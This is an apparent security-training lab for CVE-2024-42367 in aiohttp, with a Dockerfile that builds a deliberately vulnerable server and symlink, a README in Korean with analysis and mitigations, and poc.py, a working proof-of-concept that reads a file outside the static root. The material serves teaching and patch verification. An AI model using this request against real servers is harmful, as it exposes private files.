[WHS 4기] 27반 권민준 CVE-2024-42367

Aiohttp/CVE-2024-42367/Dockerfile

@@ -0,0 +1,30 @@
+FROM python:3.11-slim-bookworm@sha256:f5cf0344c9886ff24d34797578d5d7dd6e8911ae0fe5962bb55d0f89603ec361
+
+ARG AIOHTTP_VERSION=3.10.1
+
+ENV PYTHONDONTWRITEBYTECODE=1 \
+    PYTHONUNBUFFERED=1
+
+WORKDIR /app
+
+RUN python -m pip install --no-cache-dir \
+        "aiohttp==${AIOHTTP_VERSION}" \
+        "aiohappyeyeballs==2.7.1" \
+        "aiosignal==1.4.0" \
+        "attrs==26.1.0" \
+        "frozenlist==1.8.0" \
+        "multidict==6.7.1" \
+        "propcache==0.5.2" \
+        "yarl==1.24.2" \
+        "idna==3.18" \
+        "typing-extensions==4.16.0" \
+    && mkdir -p /srv/public /srv/private \
+    && printf 'PUBLIC_CONTENT: quarterly report\n' > /srv/public/public.txt \
+    && printf 'CVE-2024-42367_SECRET: compressed_symlink_boundary_bypass\n' > /srv/private/secret.txt \
+    && ln -s /srv/private/secret.txt /srv/public/report.txt.gz
+
+COPY app.py poc.py ./
+
+EXPOSE 8080
+
+CMD ["python", "app.py"]

Aiohttp/CVE-2024-42367/README.md

@@ -0,0 +1,193 @@
+# aiohttp 압축 변형 심볼릭 링크 경로 경계 우회 (CVE-2024-42367)
+
+**Contributors**
+
+- [권민준(@jjagong)](https://github.com/jjagong)
+
+## 1. 취약점 개요
+
+aiohttp는 Python의 비동기 HTTP 클라이언트·서버 프레임워크이다. CVE-2024-42367은 aiohttp의 정적 파일 응답 처리 과정에서 `.gz` 또는 `.br` 압축 변형 파일이 심볼릭 링크일 때 정적 루트 디렉터리 경계 검사가 누락되는 취약점이다.
+
+일반 정적 파일은 `follow_symlinks=False`인 경우 링크가 정적 루트 밖을 가리키는지 검사한다. 그러나 취약 버전의 `FileResponse`는 압축 변형 파일을 선택할 때 `Path.stat()`을 사용하여 심볼릭 링크를 따라간다. 이 때문에 압축 변형 링크가 정적 루트 외부 파일을 가리키면 해당 파일의 내용이 HTTP 응답으로 노출될 수 있다.
+
+- CVE: CVE-2024-42367
+- CWE: CWE-61, UNIX Symbolic Link Following
+- 영향받는 버전: aiohttp 3.10.0 이상 3.10.2 미만
+- 실습 취약 버전: aiohttp 3.10.1
+- 수정 버전: aiohttp 3.10.2
+- 공식 심각도: Low
+- 공식 권고: <https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jwhx-xcg6-8xhj>
+- 수정 커밋: <https://github.com/aio-libs/aiohttp/commit/ce2e9758814527589b10759a20783fb03b98339f>
+- NVD: <https://nvd.nist.gov/vuln/detail/CVE-2024-42367>
+
+## 2. 환경 구성
+
+### 2.1. 필요 환경
+
+- Docker Engine 또는 Docker Desktop
+- Docker Compose v2 (`docker compose` 명령)
+- 사용 포트: TCP 8080
+
+PoC는 별도 컨테이너에서 실행되며, 심볼릭 링크는 Dockerfile을 통해 컨테이너 내부에 생성된다. 따라서 호스트에 Python이나 curl을 별도로 설치할 필요가 없다.
+
+Dockerfile에서 Python 3.11 환경에 aiohttp 3.10.1을 설치하도록 구성했고, 이미지 digest와 패키지 버전을 고정했다.
+
+### 2.2. 실습 파일 구조
+
+```text
+CVE-2024-42367/
+├── docker-compose.yml
+├── Dockerfile
+├── app.py
+├── poc.py
+├── README.md
+└── images/
+```
+
+### 2.3. 취약 환경 실행
+
+이 README가 있는 디렉터리에서 다음 명령을 실행한다.
+
+```bash
+docker compose up --build -d
+```
+
+컨테이너 상태를 확인한다.
+
+```bash
+docker compose ps
+```
+
+`vulnerable` 서비스가 `healthy`로 표시되면 환경 구성이 완료된 것이다. 브라우저에서 `http://localhost:8080/`에 접속하면 aiohttp 버전과 `follow_symlinks` 설정을 확인할 수 있다.
+
+![](images/01-environment.png)
+
+
+## 3. 취약점 발생 조건
+
+다음 조건을 모두 만족할 때 취약점이 발생한다.
+
+1. aiohttp 3.10.0 또는 3.10.1을 서버로 사용한다.
+2. `add_static()`으로 정적 파일 라우트를 제공한다.
+3. 정적 루트 안에 `.gz` 또는 `.br` 확장자를 가진 압축 변형 파일이 존재한다.
+4. 압축 변형 파일이 정적 루트 밖의 파일을 가리키는 심볼릭 링크이다.
+5. 클라이언트가 해당 압축 형식을 허용하는 `Accept-Encoding` 헤더를 전송한다.
+
+이 실습에서는 Docker 이미지 빌드 과정에서 다음 상태를 자동으로 구성한다.
+
+```text
+/srv/public/report.txt.gz -> /srv/private/secret.txt
+```
+
+`/srv/public`은 공개 정적 루트이고 `/srv/private/secret.txt`는 외부에 공개되지 않아야 하는 파일이다. 애플리케이션은 `follow_symlinks=False`로 설정되어 있다. 그러나 aiohttp 3.10.1은 압축 변형 파일을 처리하는 과정에서 심볼릭 링크를 따라가 정적 루트 밖의 파일을 반환한다.
+
+실제 공격에서는 정적 디렉터리에 이러한 심볼릭 링크가 이미 존재하거나, 공격자가 파일 업로드 또는 배포 과정 등을 통해 압축 변형 링크를 생성할 수 있어야 한다. 이러한 전제 조건으로 인해 공식 권고의 심각도는 Low로 평가된다.
+
+## 4. 재현 절차 및 PoC
+
+### 4.1. 자동 PoC 실행
+
+다음 명령으로 PoC를 실행한다.
+
+```bash
+docker compose run --rm poc
+```
+
+PoC는 다음 세 요청을 순서대로 비교한다.
+
+1. `/static/public.txt`를 요청하여 정상 정적 파일 제공 여부를 확인한다.
+2. `Accept-Encoding: gzip` 없이 `/static/report.txt`를 요청하여 원본 파일이 없으므로 404가 반환되는지 확인한다.
+3. 동일 경로에 `Accept-Encoding: gzip`을 추가하여 `.gz` 심볼릭 링크의 대상 내용이 반환되는지 확인한다.
+
+성공하면 아래 문구가 출력된다.
+
+```text
+CVE-2024-42367_SECRET: compressed_symlink_boundary_bypass
+[+] VULNERABLE: static-root boundary bypass confirmed
+```
+
+![](images/02-poc-result.png)
+
+### 4.2. PoC 코드
+
+공격 요청은 다음과 같다.
+
+```python
+req = urllib.request.Request(
+    "http://vulnerable:8080/static/report.txt",
+    headers={"Accept-Encoding": "gzip"},
+)
+with urllib.request.urlopen(req) as response:
+    print(response.read().decode())
+```
+
+전체 자동 검증 코드는 [`poc.py`](poc.py)에 포함되어 있다. 응답 상태가 200이고 본문에 고유 비밀 문자열이 존재할 때만 종료 코드 0으로 성공한다.
+
+### 4.3. 수동 HTTP 요청(선택 사항)
+
+호스트에 curl이 설치되어 있다면 다음 명령으로도 확인할 수 있다.
+
+```bash
+curl -i -H "Accept-Encoding: gzip" http://localhost:8080/static/report.txt
+```
+
+curl의 자동 압축 해제 옵션인 `--compressed`는 응답 본문이 실제 gzip 스트림이라고 가정하므로 이 PoC에서는 사용하지 않는다.
+
+## 5. 실행 결과
+
+취약한 aiohttp 3.10.1은 `/srv/public/report.txt.gz`를 압축 변형으로 선택한 뒤 `Path.stat()`과 파일 열기 과정에서 심볼릭 링크를 따라간다. 그 결과 정적 루트 밖의 `/srv/private/secret.txt` 내용이 HTTP 200 응답으로 반환된다.
+
+반면 `Accept-Encoding: gzip`이 없는 요청은 압축 변형을 선택하지 않으며, `/srv/public/report.txt` 원본 파일이 존재하지 않으므로 HTTP 404를 반환한다. 두 요청의 차이는 취약점이 URL 디렉터리 트래버설 문자열이 아니라 압축 변형 파일 선택 로직에서 발생한다는 점을 보여준다.
+
+### 5.1. 수정 버전과 비교 검증
+
+aiohttp 3.10.2 컨테이너를 추가로 실행한다.
+
+```bash
+docker compose --profile patched up --build -d patched
+```
+
+수정 버전에 같은 요청을 보낸다.
+
+```bash
+docker compose run --rm poc python poc.py http://patched:8080
+```
+
+수정 버전은 심볼릭 링크인 압축 변형을 무시하고 원본 `report.txt`를 찾는다. 원본 파일이 없으므로 HTTP 404가 반환되고 PoC는 `[-] NOT VULNERABLE`을 출력한다. 이 명령은 차단을 검증하므로 PoC 프로세스의 종료 코드는 1이 정상이다.
+![](images/03-patched-result.png)
+
+
+## 6. 취약점 분석
+
+취약 버전은 압축 변형 경로에 대해 다음과 같은 동작을 수행했다.
+
+```python
+compressed_path = file_path.with_suffix(file_path.suffix + file_extension)
+return compressed_path, compressed_path.stat(), file_encoding
+```
+
+`Path.stat()`은 심볼릭 링크 대상의 상태를 반환하며 이후 파일을 열 때에도 링크 대상이 사용된다. aiohttp 3.10.2에서는 `lstat()`으로 링크 자체의 상태를 확인하고 일반 파일일 때만 압축 변형으로 선택하도록 수정했다.
+
+```python
+st = compressed_path.lstat()
+if S_ISREG(st.st_mode):
+    return compressed_path, st, file_encoding
+```
+
+심볼릭 링크는 일반 파일이 아니므로 수정 버전에서는 압축 변형 후보에서 제외된다.
+
+## 7. 대응 방안
+
+1. aiohttp를 3.10.2 이상으로 업데이트한다.
+2. 정적 콘텐츠는 aiohttp 애플리케이션에서 직접 제공하기보다 nginx 등 검증된 리버스 프록시 또는 별도의 정적 파일 서버를 사용한다.
+3. 정적 디렉터리에 심볼릭 링크가 포함되지 않도록 배포 산출물을 검사한다.
+4. 파일 업로드 및 압축 해제 기능이 심볼릭 링크를 생성하거나 보존하지 못하도록 제한한다.
+5. 애플리케이션 프로세스 계정에 필요한 파일만 읽을 수 있도록 최소 권한을 적용한다.
+6. 패치가 즉시 불가능하다면 `.gz` 및 `.br` 압축 변형 파일을 제거하거나 일반 파일로 교체한다.
+
+## 참고 자료
+
+- aiohttp 공식 보안 권고: <https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jwhx-xcg6-8xhj>
+- aiohttp 3.10 브랜치 수정 커밋: <https://github.com/aio-libs/aiohttp/commit/ce2e9758814527589b10759a20783fb03b98339f>
+- NVD CVE-2024-42367: <https://nvd.nist.gov/vuln/detail/CVE-2024-42367>
+- CWE-61: <https://cwe.mitre.org/data/definitions/61.html>

Aiohttp/CVE-2024-42367/app.py

@@ -0,0 +1,37 @@
+from pathlib import Path
+
+import aiohttp
+from aiohttp import web
+
+
+STATIC_ROOT = Path("/srv/public")
+
+
+async def index(_: web.Request) -> web.Response:
+    return web.json_response(
+        {
+            "service": "CVE-2024-42367 lab",
+            "aiohttp": aiohttp.__version__,
+            "static_root": str(STATIC_ROOT),
+            "follow_symlinks": False,
+        }
+    )
+
+
+async def health(_: web.Request) -> web.Response:
+    return web.Response(text="ok")
+
+
+app = web.Application()
+app.router.add_get("/", index)
+app.router.add_get("/health", health)
+app.router.add_static(
+    "/static/",
+    STATIC_ROOT,
+    follow_symlinks=False,
+    show_index=False,
+)
+
+
+if __name__ == "__main__":
+    web.run_app(app, host="0.0.0.0", port=8080)

Aiohttp/CVE-2024-42367/docker-compose.yml

@@ -0,0 +1,39 @@
+services:
+  vulnerable:
+    build:
+      context: .
+      args:
+        AIOHTTP_VERSION: 3.10.1
+    ports:
+      - "8080:8080"
+    healthcheck:
+      test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8080/health', timeout=2)"]
+      interval: 2s
+      timeout: 3s
+      retries: 15
+      start_period: 3s
+  poc:
+    build:
+      context: .
+      args:
+        AIOHTTP_VERSION: 3.10.1
+    command: ["python", "poc.py", "http://vulnerable:8080"]
+    depends_on:
+      vulnerable:
+        condition: service_healthy
+    profiles: ["tools"]
+
+  patched:
+    build:
+      context: .
+      args:
+        AIOHTTP_VERSION: 3.10.2
+    ports:
+      - "8081:8080"
+    profiles: ["patched"]
+    healthcheck:
+      test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8080/health', timeout=2)"]
+      interval: 2s
+      timeout: 3s
+      retries: 15
+      start_period: 3s

Aiohttp/CVE-2024-42367/poc.py

@@ -0,0 +1,47 @@
+#!/usr/bin/env python3
+import sys
+import urllib.error
+import urllib.request
+
+
+SECRET_MARKER = "CVE-2024-42367_SECRET"
+
+
+def request(url: str, *, accept_gzip: bool = False) -> tuple[int, dict, bytes]:
+    headers = {"Accept-Encoding": "gzip"} if accept_gzip else {}
+    req = urllib.request.Request(url, headers=headers)
+    try:
+        with urllib.request.urlopen(req, timeout=10) as response:
+            return response.status, dict(response.headers), response.read()
+    except urllib.error.HTTPError as error:
+        return error.code, dict(error.headers), error.read()
+
+
+def main() -> int:
+    base_url = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080").rstrip("/")
+
+    normal_status, _, normal_body = request(f"{base_url}/static/public.txt")
+    print(f"[1] Normal static file: HTTP {normal_status}")
+    print(normal_body.decode("utf-8", errors="replace").strip())
+
+    no_gzip_status, _, _ = request(f"{base_url}/static/report.txt")
+    print(f"\n[2] Without Accept-Encoding: gzip: HTTP {no_gzip_status}")
+
+    exploit_status, exploit_headers, exploit_body = request(
+        f"{base_url}/static/report.txt", accept_gzip=True
+    )
+    decoded = exploit_body.decode("utf-8", errors="replace").strip()
+    print(f"\n[3] With Accept-Encoding: gzip: HTTP {exploit_status}")
+    print(f"Content-Encoding: {exploit_headers.get('Content-Encoding', '(none)')}")
+    print(decoded or "(empty response body)")
+
+    if exploit_status == 200 and SECRET_MARKER in decoded:
+        print("\n[+] VULNERABLE: static-root boundary bypass confirmed")
+        return 0
+
+    print("\n[-] NOT VULNERABLE: secret marker was not disclosed")
+    return 1
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())